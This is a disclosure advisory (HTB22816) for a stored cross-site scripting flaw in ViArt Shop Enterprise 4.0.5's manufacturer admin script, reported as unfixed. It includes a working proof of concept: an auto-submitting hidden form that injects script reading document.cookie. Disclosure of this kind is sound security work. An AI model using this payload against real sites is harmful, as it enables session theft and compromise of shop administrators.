Vulnerability ID: HTB22816 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_viart_shop_2.html Product: ViArt Shop Vendor: Viart Software ( http://www.viart.com/ ) Vulnerable Version: Enterprise v.4.0.5 Vendor Notification: 25 January 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/admin_manufacturer.php" script to properly sanitize user-supplied input in "manufacturer_name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/admin_manufacturer.php" method="post" name="main"> <input type="hidden" name="operation" value="save"> <input type="hidden" name="manufacturer_id" value="3"> <input type="hidden" name="manufacturer_name" value='Company"><script>alert(document.cookie)</script>'> <input type="hidden" name="manufacturer_order" value="1"> <input type="hidden" name="friendly_url" value=""> <input type="hidden" name="affiliate_code" value=""> <input type="hidden" name="short_description" value=""> <input type="hidden" name="full_description" value=""> <input type="hidden" name="image_small" value="images/manufacturers/small/company.gif"> <input type="hidden" name="image_small_alt" value="company"> <input type="hidden" name="image_large" value="images/manufacturers/large/company.gif"> <input type="hidden" name="image_large_alt" value="company"> </form> <script> document.main.submit(); </script>